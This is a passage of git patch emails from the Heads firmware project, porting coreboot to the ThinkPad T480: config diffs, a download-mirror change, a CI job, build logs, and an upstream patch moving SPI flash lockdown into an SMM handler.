+CONFIG_HAVE_DEBUG_KMEMLEAK=y +# CONFIG_DEBUG_KMEMLEAK is not set +# CONFIG_DEBUG_STACK_USAGE is not set +# CONFIG_SCHED_STACK_END_CHECK is not set +CONFIG_ARCH_HAS_DEBUG_VM_PGTABLE=y +# CONFIG_DEBUG_VM is not set +# CONFIG_DEBUG_VM_PGTABLE is not set +CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y +# CONFIG_DEBUG_VIRTUAL is not set +# CONFIG_DEBUG_MEMORY_INIT is not set +# CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set +CONFIG_HAVE_ARCH_KASAN=y +CONFIG_HAVE_ARCH_KASAN_VMALLOC=y +CONFIG_CC_HAS_KASAN_GENERIC=y +CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y +# CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y +# end of Memory Debugging + +# CONFIG_DEBUG_SHIRQ is not set + +# +# Debug Oops, Lockups and Hangs +# +# CONFIG_PANIC_ON_OOPS is not set +CONFIG_PANIC_ON_OOPS_VALUE=0 +CONFIG_PANIC_TIMEOUT=0 +CONFIG_LOCKUP_DETECTOR=y +CONFIG_SOFTLOCKUP_DETECTOR=y +# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set +CONFIG_HARDLOCKUP_DETECTOR_PERF=y +CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y +CONFIG_HARDLOCKUP_DETECTOR=y +# CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set +CONFIG_DETECT_HUNG_TASK=y +CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 +# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set +CONFIG_WQ_WATCHDOG=y +# CONFIG_TEST_LOCKUP is not set +# end of Debug Oops, Lockups and Hangs + +# +# Scheduler Debugging +# +# CONFIG_SCHED_DEBUG is not set +# CONFIG_SCHEDSTATS is not set +# end of Scheduler Debugging + +# CONFIG_DEBUG_TIMEKEEPING is not set + +# +# Lock Debugging (spinlocks, mutexes, etc...) +# +CONFIG_LOCK_DEBUGGING_SUPPORT=y +# CONFIG_PROVE_LOCKING is not set +# CONFIG_LOCK_STAT is not set +# CONFIG_DEBUG_RT_MUTEXES is not set +# CONFIG_DEBUG_SPINLOCK is not set +# CONFIG_DEBUG_MUTEXES is not set +# CONFIG_DEBUG_WW_MUTEX_SLOWPATH is not set +# CONFIG_DEBUG_RWSEMS is not set +# CONFIG_DEBUG_LOCK_ALLOC is not set +# CONFIG_DEBUG_ATOMIC_SLEEP is not set +# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set +# CONFIG_LOCK_TORTURE_TEST is not set +# CONFIG_WW_MUTEX_SELFTEST is not set +# CONFIG_SCF_TORTURE_TEST is not set +# CONFIG_CSD_LOCK_WAIT_DEBUG is not set +# end of Lock Debugging (spinlocks, mutexes, etc...) + +# CONFIG_DEBUG_IRQFLAGS is not set +# CONFIG_STACKTRACE is not set +# CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set +# CONFIG_DEBUG_KOBJECT is not set + +# +# Debug kernel data structures +# +# CONFIG_DEBUG_LIST is not set +# CONFIG_DEBUG_PLIST is not set +# CONFIG_DEBUG_SG is not set +# CONFIG_DEBUG_NOTIFIERS is not set +# CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set +# end of Debug kernel data structures + +# CONFIG_DEBUG_CREDENTIALS is not set + +# +# RCU Debugging +# +# CONFIG_RCU_SCALE_TEST is not set +# CONFIG_RCU_TORTURE_TEST is not set +# CONFIG_RCU_REF_SCALE_TEST is not set +CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 +# CONFIG_RCU_TRACE is not set +# CONFIG_RCU_EQS_DEBUG is not set +# end of RCU Debugging + +# CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set +# CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set +# CONFIG_LATENCYTOP is not set +CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y +CONFIG_HAVE_FUNCTION_TRACER=y +CONFIG_HAVE_DYNAMIC_FTRACE=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y +CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y +CONFIG_HAVE_SYSCALL_TRACEPOINTS=y +CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y +CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y +CONFIG_TRACING_SUPPORT=y +# CONFIG_FTRACE is not set +# CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set +# CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y +CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y +# CONFIG_STRICT_DEVMEM is not set + +# +# x86 Debugging +# +# CONFIG_X86_VERBOSE_BOOTUP is not set +CONFIG_EARLY_PRINTK=y +# CONFIG_EARLY_PRINTK_DBGP is not set +# CONFIG_EARLY_PRINTK_USB_XDBC is not set +# CONFIG_EFI_PGT_DUMP is not set +# CONFIG_DEBUG_TLBFLUSH is not set +CONFIG_HAVE_MMIOTRACE_SUPPORT=y +# CONFIG_X86_DECODER_SELFTEST is not set +# CONFIG_IO_DELAY_0X80 is not set +CONFIG_IO_DELAY_0XED=y +# CONFIG_IO_DELAY_UDELAY is not set +# CONFIG_IO_DELAY_NONE is not set +# CONFIG_CPA_DEBUG is not set +# CONFIG_DEBUG_ENTRY is not set +# CONFIG_DEBUG_NMI_SELFTEST is not set +# CONFIG_X86_DEBUG_FPU is not set +# CONFIG_PUNIT_ATOM_DEBUG is not set +CONFIG_UNWINDER_ORC=y +# CONFIG_UNWINDER_FRAME_POINTER is not set +# CONFIG_UNWINDER_GUESS is not set +# end of x86 Debugging + +# +# Kernel Testing and Coverage +# +# CONFIG_KUNIT is not set +# CONFIG_NOTIFIER_ERROR_INJECTION is not set +# CONFIG_FAULT_INJECTION is not set +CONFIG_ARCH_HAS_KCOV=y +CONFIG_CC_HAS_SANCOV_TRACE_PC=y +# CONFIG_KCOV is not set +# CONFIG_RUNTIME_TESTING_MENU is not set +CONFIG_ARCH_USE_MEMTEST=y +# CONFIG_MEMTEST is not set +# end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking +# end of Kernel hacking From de0a1f4795eb0b06d79003b8b73720dce355cd22 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 10:15:15 -0500 Subject: [PATCH 497/619] config/coreboot-t480.config: adapt from config/coreboot-librem_15v4.config and config/coreboot-novacustom-nv4x_adl.config Then saved back in oldconfig with ./docker_repro.sh make BOARD=t480-maximized coreboot.modify_and_save_oldconfig_in_place Notes: - Pr0 requirements don't stick, investigate - real quick overview of config, just rying to get thing build here Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index 8f61a2b08..9fae95be2 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -10,7 +10,7 @@ CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ANY_TOOLCHAIN=y +# CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set # CONFIG_LTO is not set # CONFIG_IWYU is not set @@ -33,7 +33,12 @@ CONFIG_HAVE_ASAN_IN_RAMSTAGE=y # CONFIG_NO_STAGE_CACHE is not set CONFIG_TSEG_STAGE_CACHE=y # CONFIG_UPDATE_IMAGE is not set -# CONFIG_BOOTSPLASH_IMAGE is not set +CONFIG_BOOTSPLASH_IMAGE=y +CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" +CONFIG_BOOTSPLASH_CONVERT=y +CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set # # Software Bill Of Materials (SBOM) @@ -172,6 +177,9 @@ CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y # CONFIG_DEBUG_SMI is not set # CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 # CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set # CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set # CONFIG_BOARD_LENOVO_L520 is not set @@ -478,7 +486,7 @@ CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y # # Southbridge # -# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -572,7 +580,7 @@ CONFIG_NO_EARLY_GFX_INIT=y # CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y -# CONFIG_BOOTSPLASH is not set +CONFIG_BOOTSPLASH=y CONFIG_DEFAULT_SCREEN_ROTATION_NONE=y # CONFIG_DEFAULT_SCREEN_ROTATION_90 is not set # CONFIG_DEFAULT_SCREEN_ROTATION_180 is not set @@ -591,6 +599,9 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set +CONFIG_PCIEXP_HOTPLUG_IO=0x800 # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 From bdb09c6449251bda75fa312b33e299368bc3bdd1 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 10:48:52 -0500 Subject: [PATCH 498/619] bin/fetch_coreboot_crossgcc_archive.sh: change acpica default PFG_BASEURL to use one of libreboot web mirror Signed-off-by: Thierry Laurion --- bin/fetch_coreboot_crossgcc_archive.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bin/fetch_coreboot_crossgcc_archive.sh b/bin/fetch_coreboot_crossgcc_archive.sh index 58ba0c467..f9ff04c49 100755 --- a/bin/fetch_coreboot_crossgcc_archive.sh +++ b/bin/fetch_coreboot_crossgcc_archive.sh @@ -105,7 +105,7 @@ case "$PKG_NAME" in acpica) # Original acpica sources are gone. Most of the older releases # can be found here - PKG_BASEURL="https://distfiles.macports.org/acpica/" + PKG_BASEURL="https://mirror.math.princeton.edu/pub/libreboot/misc/acpica/" # Version 20220331 (currently used by talos_2) isn't there, but # there is an old link from Intel that is still up. This is # specific to this release. From 6176f6c08fa633f31541a264e2c4d72e9037eb9f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 11:13:14 -0500 Subject: [PATCH 499/619] modules/coreboot: t480; state its based on 24.12, do not reuse coreboot 24.02 buildstack) Signed-off-by: Thierry Laurion --- modules/coreboot | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/coreboot b/modules/coreboot index 7de21fb43..be27e9c9a 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -98,10 +98,11 @@ coreboot-dasharo_commit_hash := 94e5f5d5b808cf8d8fd5c70d4ef6a08a054f8986 $(eval $(call coreboot_module,dasharo,24.02.01)) #coreboot-dasharo_patch_version := unreleased -# T480 may or may not need a specific coreboot rev since it may or may not yet be yet included in the release referenced above +# T480 is based on coreboot ~24.12 release (TODO: verify) coreboot-t480_repo := https://review.coreboot.org/coreboot.git coreboot-t480_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a -$(eval $(call coreboot_module,t480,24.02.01)) +#Don't reuse any coreboot buildstack for now since nothing else is based on 24.12 +$(eval $(call coreboot_module,t480,)) # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" From 44b4d6a2acacc9541af2007ad24dbf902e48300a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 11:14:55 -0500 Subject: [PATCH 500/619] config/coreboot-t480.config: change Dsp_*.fd paths to non-existing files in tree as per http://web.archive.org/web/20250211155526/https://notgivenby.github.io/heads-wiki/t480-port/#coreboot-config-for-t480 : No joy building, but will dump progress for others to pickup Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index 9fae95be2..54df38277 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -276,8 +276,8 @@ CONFIG_SYSTEM_TYPE_LAPTOP=y # SoC # CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" -CONFIG_FSP_M_FILE="@BLOB_DIR@/t480/Fsp_M.fd" -CONFIG_FSP_S_FILE="@BLOB_DIR@/t480/Fsp_S.fd" +CONFIG_FSP_M_FILE="../../../vendorfiles/kabylake/Fsp_M.fd" +CONFIG_FSP_S_FILE="../../../vendorfiles/kabylake/Fsp_S.fd" CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_VERSTAGE_ADDR=0x2000000 From 4310d89fb8671fb9398f461eba617e15273bb6f4 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 11:15:49 -0500 Subject: [PATCH 501/619] CircleCI: add t480 without reusing any other cache then muslc-cross-make first layer Will fail at Updating git submodules. payloads/external/Makefile.mk:399: "Using host toolchain to build Linuxboot" GEN build.h IFDTOOL -p sklkbl -F t480-maximized/fmap-template.fmd ../../../blobs/t480/ifd_16 HOSTCC cbfstool/fmd_parser.o HOSTCC cbfstool/fmd_scanner.o make[1]: *** No rule to make target '../../../vendorfiles/kabylake/Fsp_M.fd', needed by 't480-maximized/coreboot.pre'. Stop. make[1]: *** Waiting for unfinished jobs.... File ../../../blobs/t480/ifd_16 is 4096 bytes Wrote layout to t480-maximized/fmap-template.fmd Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/.circleci/config.yml b/.circleci/config.yml index 6ff83e202..d85279e3e 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -510,6 +510,14 @@ workflows: requires: - librem_14 + # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache + - build: + name: t480-maximized + target: t480-maximized + subcommand: "" + requires: + - x86-musl-cross-make + # dasharo release, share 24.02.01 utils/crossgcc - build: name: UNTESTED_nitropad-ns50 From d666b8115091572660cbf1dc5678d333d8dd0def Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 13:32:50 -0500 Subject: [PATCH 502/619] config/coreboot-t480.config: Set CONFIG_FSP_FULL_FD=y so that vendorfiles exist For repro: - To remove all files created by patches (would error to help dev remove them manually) - echo "bogus" | tee build/x86/coreboot-t480/.canary - sudo rm -rf build/x86/coreboot-t480/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480* - sudo rm build/x86/libgpg-error-1.46/src/syscfg/lock-obj-pub.powerpc64le-unknown-linux-musl.h - Remove all .canary files, outside of detected git forks to speedup local builds, rebuilding only new files with make magic - ./docker_repro.sh make BOARD=t480-maximized real.remove_canary_files-extract_patch_rebuild_what_changed - Rebuild from sources: unpack archives/git clone, patch, build from source - ./docker_repro.sh make BOARD=t480-maximized Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index 54df38277..0ad6af739 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -276,8 +276,8 @@ CONFIG_SYSTEM_TYPE_LAPTOP=y # SoC # CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" -CONFIG_FSP_M_FILE="../../../vendorfiles/kabylake/Fsp_M.fd" -CONFIG_FSP_S_FILE="../../../vendorfiles/kabylake/Fsp_S.fd" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_VERSTAGE_ADDR=0x2000000 @@ -649,7 +649,7 @@ CONFIG_HAVE_INTEL_FSP_REPO=y CONFIG_ADD_FSP_BINARIES=y CONFIG_FSP_S_CBFS="fsps.bin" CONFIG_FSP_M_CBFS="fspm.bin" -# CONFIG_FSP_FULL_FD is not set +CONFIG_FSP_FULL_FD=y CONFIG_FSP_T_RESERVED_SIZE=0x0 CONFIG_FSP_M_XIP=y CONFIG_HAVE_FSP_LOGO_SUPPORT=y From 7f673d4882d6e1734c12e363be851b0c72ec6ec3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 13:58:19 -0500 Subject: [PATCH 503/619] patches/coreboot-t480/85278-post-skylake-pr0.patch: add unmerged upstream PR0 patchset https://review.coreboot.org/c/coreboot/+/85278 Repro: git fetch https://review.coreboot.org/coreboot refs/changes/78/85278/3 && git format-patch -1 --stdout FETCH_HEAD > patches/coreboot-t480/85278-post-skylake-pr0.patch Unfortunately Applying patch file : patches/coreboot-t480/85278-post-skylake-pr0.patch Checking patch build/x86/coreboot-t480/src/soc/intel/alderlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/cannonlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/common/block/lpc/Makefile.mk... Checking patch build/x86/coreboot-t480/src/soc/intel/common/block/smm/smihandler.c... Checking patch build/x86/coreboot-t480/src/soc/intel/common/pch/include/intelpch/lockdown.h... Checking patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/Kconfig... Checking patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/Makefile.mk... Checking patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/lockdown.c... Checking patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/lockdown_lpc.c... Checking patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/lockdown_spi.c... Checking patch build/x86/coreboot-t480/src/soc/intel/denverton_ns/lpc.c... Checking patch build/x86/coreboot-t480/src/soc/intel/elkhartlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/jasperlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/meteorlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/pantherlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/skylake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/tigerlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/xeon_sp/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/xeon_sp/lockdown.c... error: while searching for: static void lpc_lockdown_config(void) { /* Set BIOS Interface Lock, BIOS Lock */ lpc_set_bios_interface_lock_down(); /* Only allow writes in SMM */ if (CONFIG(BOOTMEDIA_SMM_BWP)) { lpc_set_eiss(); lpc_enable_wp(); } lpc_set_lock_enable(); } void soc_lockdown_config(int chipset_lockdown) { if (chipset_lockdown == CHIPSET_LOCKDOWN_FSP) return; lpc_lockdown_config(); pmc_lockdown_config(); sata_lockdown_config(chipset_lockdown); spi_lockdown_config(chipset_lockdown); error: patch failed: build/x86/coreboot-t480/src/soc/intel/xeon_sp/lockdown.c:6 Applied patch build/x86/coreboot-t480/src/soc/intel/alderlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/cannonlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/block/lpc/Makefile.mk cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/block/smm/smihandler.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/pch/include/intelpch/lockdown.h cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/Kconfig cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/Makefile.mk cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/lockdown.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/lockdown_lpc.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/lockdown_spi.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/denverton_ns/lpc.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/elkhartlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/jasperlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/meteorlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/pantherlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/skylake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/tigerlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/xeon_sp/finalize.c cleanly. Applying patch build/x86/coreboot-t480/src/soc/intel/xeon_sp/lockdown.c with 1 reject... Rejected hunk #1. make: *** [Makefile:570: /home/user/heads/build/x86/coreboot-t480/.canary] Error 1 Will have to edit patch Signed-off-by: Thierry Laurion --- .../85278-post-skylake-pr0.patch | 477 ++++++++++++++++++ 1 file changed, 477 insertions(+) create mode 100644 patches/coreboot-t480/85278-post-skylake-pr0.patch diff --git a/patches/coreboot-t480/85278-post-skylake-pr0.patch b/patches/coreboot-t480/85278-post-skylake-pr0.patch new file mode 100644 index 000000000..c8e4cd251 --- /dev/null +++ b/patches/coreboot-t480/85278-post-skylake-pr0.patch @@ -0,0 +1,477 @@ +From f9f309190246c66e92db5408c183dd8b617987f3 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= +Date: Sat, 23 Nov 2024 22:43:10 +0100 +Subject: [PATCH] soc/intel/lockdown: Allow locking down SPI and LPC in SMM +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +Heads payload uses APM_CNT_FINALIZE SMI to set and lock down the SPI +controller with PR0 flash protection for pre-Skylake platforms. + +Add new option to skip LPC and FAST SPI lock down in coreboot and move +it to APM_CNT_FINALIZE SMI handler. Reuse the INTEL_CHIPSET_LOCKDOWN +option to prevent issuing APM_CNT_FINALIZE SMI on normal boot path, +like it was done on pre-Skylake platforms. As the locking on modern +SOCs became more complicated, separate the SPI and LPC locking into +new modules to make linking to SMM easier. + +The expected configuration to leverage the feautre is to unselect +INTEL_CHIPSET_LOCKDOWN and select SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM. + +Testing various microarchitectures happens on heads repository: +https://github.com/linuxboot/heads/pull/1818 + +TEST=Lock the SPI flash using APM_CNT_FINALIZE in heads on Alder Lake +(Protectli VP66xx) and Comet Lake (Protectli VP46xx) platforms. Check +if flash is unlocked in the heads recovery console. Check if flash is +locked in the kexec'ed OS. + +Change-Id: Icbcc6fcde90e5b0a999aacb720e2e3dc2748c838 +Signed-off-by: Michał Żygowski +--- + src/soc/intel/alderlake/finalize.c | 4 +- + src/soc/intel/cannonlake/finalize.c | 4 +- + src/soc/intel/common/block/lpc/Makefile.mk | 4 ++ + src/soc/intel/common/block/smm/smihandler.c | 10 ++++ + .../common/pch/include/intelpch/lockdown.h | 3 ++ + src/soc/intel/common/pch/lockdown/Kconfig | 15 ++++++ + src/soc/intel/common/pch/lockdown/Makefile.mk | 5 ++ + src/soc/intel/common/pch/lockdown/lockdown.c | 48 ++----------------- + .../intel/common/pch/lockdown/lockdown_lpc.c | 23 +++++++++ + .../intel/common/pch/lockdown/lockdown_spi.c | 32 +++++++++++++ + src/soc/intel/denverton_ns/lpc.c | 3 +- + src/soc/intel/elkhartlake/finalize.c | 4 +- + src/soc/intel/jasperlake/finalize.c | 3 +- + src/soc/intel/meteorlake/finalize.c | 4 +- + src/soc/intel/pantherlake/finalize.c | 4 +- + src/soc/intel/skylake/finalize.c | 3 +- + src/soc/intel/tigerlake/finalize.c | 4 +- + src/soc/intel/xeon_sp/finalize.c | 3 +- + src/soc/intel/xeon_sp/lockdown.c | 18 ++----- + 19 files changed, 127 insertions(+), 67 deletions(-) + create mode 100644 src/soc/intel/common/pch/lockdown/lockdown_lpc.c + create mode 100644 src/soc/intel/common/pch/lockdown/lockdown_spi.c + +diff --git a/src/soc/intel/alderlake/finalize.c b/src/soc/intel/alderlake/finalize.c +index 700fde977b..615729d3dd 100644 +--- a/src/soc/intel/alderlake/finalize.c ++++ b/src/soc/intel/alderlake/finalize.c +@@ -85,7 +85,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + tbt_finalize(); + if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && + CONFIG(USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE)) +diff --git a/src/soc/intel/cannonlake/finalize.c b/src/soc/intel/cannonlake/finalize.c +index 974794bd97..461ba3a884 100644 +--- a/src/soc/intel/cannonlake/finalize.c ++++ b/src/soc/intel/cannonlake/finalize.c +@@ -87,7 +87,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT) && + CONFIG(SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC)) + heci1_disable(); +diff --git a/src/soc/intel/common/block/lpc/Makefile.mk b/src/soc/intel/common/block/lpc/Makefile.mk +index b510cd0ec3..60792654b5 100644 +--- a/src/soc/intel/common/block/lpc/Makefile.mk ++++ b/src/soc/intel/common/block/lpc/Makefile.mk +@@ -5,3 +5,7 @@ romstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c + + ramstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c + ramstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc.c ++ ++ifeq ($(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM),y) ++smm-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c ++endif +diff --git a/src/soc/intel/common/block/smm/smihandler.c b/src/soc/intel/common/block/smm/smihandler.c +index 59489a4f03..2a1f26d2eb 100644 +--- a/src/soc/intel/common/block/smm/smihandler.c ++++ b/src/soc/intel/common/block/smm/smihandler.c +@@ -14,12 +14,14 @@ + #include + #include + #include ++#include + #include + #include + #include + #include + #include + #include ++#include + #include + #include + #include +@@ -345,6 +347,14 @@ static void finalize(void) + } + finalize_done = 1; + ++ if (CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) { ++ /* SPI lock down configuration */ ++ fast_spi_lockdown_bios(CHIPSET_LOCKDOWN_COREBOOT); ++ ++ /* LPC/eSPI lock down configuration */ ++ lpc_lockdown_config(CHIPSET_LOCKDOWN_COREBOOT); ++ } ++ + if (CONFIG(SPI_FLASH_SMM)) + /* Re-init SPI driver to handle locked BAR */ + fast_spi_init(); +diff --git a/src/soc/intel/common/pch/include/intelpch/lockdown.h b/src/soc/intel/common/pch/include/intelpch/lockdown.h +index b5aba06fe0..1b96f41a2a 100644 +--- a/src/soc/intel/common/pch/include/intelpch/lockdown.h ++++ b/src/soc/intel/common/pch/include/intelpch/lockdown.h +@@ -22,4 +22,7 @@ int get_lockdown_config(void); + */ + void soc_lockdown_config(int chipset_lockdown); + ++void fast_spi_lockdown_bios(int chipset_lockdown); ++void lpc_lockdown_config(int chipset_lockdown); ++ + #endif /* SOC_INTEL_COMMON_PCH_LOCKDOWN_H */ +diff --git 